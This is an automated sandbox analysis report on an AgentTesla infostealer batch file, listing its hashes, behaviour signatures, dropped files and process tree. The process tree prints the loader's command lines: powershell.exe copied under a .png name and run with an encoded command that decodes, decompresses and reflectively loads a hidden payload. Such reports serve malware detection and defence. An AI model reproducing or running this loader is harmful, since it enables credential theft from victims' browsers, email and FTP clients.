Analysis

  • max time kernel
    148s
  • max time network
    178s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-10-2023 23:38

General

  • Target

    DN 729950068251.bat

  • Size

    1019KB

  • MD5

    f3d4c5c46c3d6b6f245032ced203e902

  • SHA1

    2ffa30c68e1182acf0976f0b1021f523e6a0edf4

  • SHA256

    36848413f8c343c47d8bf2f8ec254d402357031b1fb976cfe925e00438119c8a

  • SHA512

    ecea94028784e376ffb79d55053f9eeca53ad9beff94b499463d710d4b111b21d876c8bf5e15ca7640a87550d366714229236bc5cb66cc1df6108426c564a56f

  • SSDEEP

    24576:e4iTYb5PEHqFhUIzJMMbhgBpUxFR2Id6FnWhhh0c2j:mYbuHaNbh0m2W0c8

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DN 729950068251.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\DN 729950068251.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo F "
        3⤵
          PID:3872
        • C:\Windows\system32\xcopy.exe
          xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png
          3⤵
            PID:32
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:1672
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\DN 729950068251.bat" C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png.bat
              3⤵
                PID:2236
              • C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png
                C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png -win 1 -enc JABDAHkAeQB4AHIAZQBmAGYAeQBsAGIAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQATAB1AHgAZQB5AHMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABDAHkAeQB4AHIAZQBmAGYAeQBsAGIAKQA7ACQAUABxAGkAdgB0AHEAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQATAB1AHgAZQB5AHMAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABXAHUAdgBiAHcAcQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABQAHEAaQB2AHQAcQByACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABXAHUAdgBiAHcAcQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAVwB1AHYAYgB3AHEALgBDAGwAbwBzAGUAKAApADsAJABQAHEAaQB2AHQAcQByAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQATAB1AHgAZQB5AHMAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABMAHUAeABlAHkAcwBzACkAOwAgACQAVgBwAHEAdQBjAHUAeABiAG0AYgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABMAHUAeABlAHkAcwBzACkAOwAgACQAWgBlAHoAdwBxAG8AcQBwAGkAbwAgAD0AIAAkAFYAcABxAHUAYwB1AHgAYgBtAGIALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABTAGUAdAB4AGUAaABlAHMAZABlACAAPQAgACQAWgBlAHoAdwBxAG8AcQBwAGkAbwAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                3⤵
                • Executes dropped EXE
                • Accesses Microsoft Outlook profiles
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • outlook_office_path
                • outlook_win_path
                PID:3112

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png

            Filesize

            423KB

            MD5

            c32ca4acfcc635ec1ea6ed8a34df5fac

            SHA1

            f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

            SHA256

            73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

            SHA512

            6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

          • C:\Users\Admin\AppData\Local\Temp\Ckiczrjbb.png.bat

            Filesize

            1019KB

            MD5

            f3d4c5c46c3d6b6f245032ced203e902

            SHA1

            2ffa30c68e1182acf0976f0b1021f523e6a0edf4

            SHA256

            36848413f8c343c47d8bf2f8ec254d402357031b1fb976cfe925e00438119c8a

            SHA512

            ecea94028784e376ffb79d55053f9eeca53ad9beff94b499463d710d4b111b21d876c8bf5e15ca7640a87550d366714229236bc5cb66cc1df6108426c564a56f

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dz5g34xq.4oh.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/3112-15-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-51-0x00000000048A0000-0x00000000048AA000-memory.dmp

            Filesize

            40KB

          • memory/3112-32-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-13-0x00000000746A0000-0x0000000074E50000-memory.dmp

            Filesize

            7.7MB

          • memory/3112-14-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-10-0x0000000002500000-0x0000000002536000-memory.dmp

            Filesize

            216KB

          • memory/3112-16-0x00000000064A0000-0x00000000064C2000-memory.dmp

            Filesize

            136KB

          • memory/3112-17-0x0000000006540000-0x00000000065A6000-memory.dmp

            Filesize

            408KB

          • memory/3112-18-0x00000000066B0000-0x0000000006716000-memory.dmp

            Filesize

            408KB

          • memory/3112-9-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-28-0x00000000067A0000-0x0000000006AF4000-memory.dmp

            Filesize

            3.3MB

          • memory/3112-29-0x0000000006F30000-0x0000000006F4E000-memory.dmp

            Filesize

            120KB

          • memory/3112-30-0x0000000006F70000-0x0000000006FBC000-memory.dmp

            Filesize

            304KB

          • memory/3112-8-0x00000000746A0000-0x0000000074E50000-memory.dmp

            Filesize

            7.7MB

          • memory/3112-12-0x0000000004CB0000-0x00000000052D8000-memory.dmp

            Filesize

            6.2MB

          • memory/3112-34-0x00000000073D0000-0x00000000073EA000-memory.dmp

            Filesize

            104KB

          • memory/3112-11-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-35-0x0000000007F20000-0x0000000007FEA000-memory.dmp

            Filesize

            808KB

          • memory/3112-36-0x0000000007470000-0x00000000074EA000-memory.dmp

            Filesize

            488KB

          • memory/3112-37-0x00000000080F0000-0x0000000008156000-memory.dmp

            Filesize

            408KB

          • memory/3112-39-0x0000000006B60000-0x0000000006BA6000-memory.dmp

            Filesize

            280KB

          • memory/3112-40-0x0000000008250000-0x0000000008292000-memory.dmp

            Filesize

            264KB

          • memory/3112-41-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-42-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-43-0x00000000091D0000-0x0000000009774000-memory.dmp

            Filesize

            5.6MB

          • memory/3112-44-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-45-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-47-0x0000000002620000-0x0000000002630000-memory.dmp

            Filesize

            64KB

          • memory/3112-49-0x0000000004960000-0x00000000049B0000-memory.dmp

            Filesize

            320KB

          • memory/3112-50-0x0000000004A50000-0x0000000004AE2000-memory.dmp

            Filesize

            584KB

          • memory/3112-33-0x00000000085A0000-0x0000000008C1A000-memory.dmp

            Filesize

            6.5MB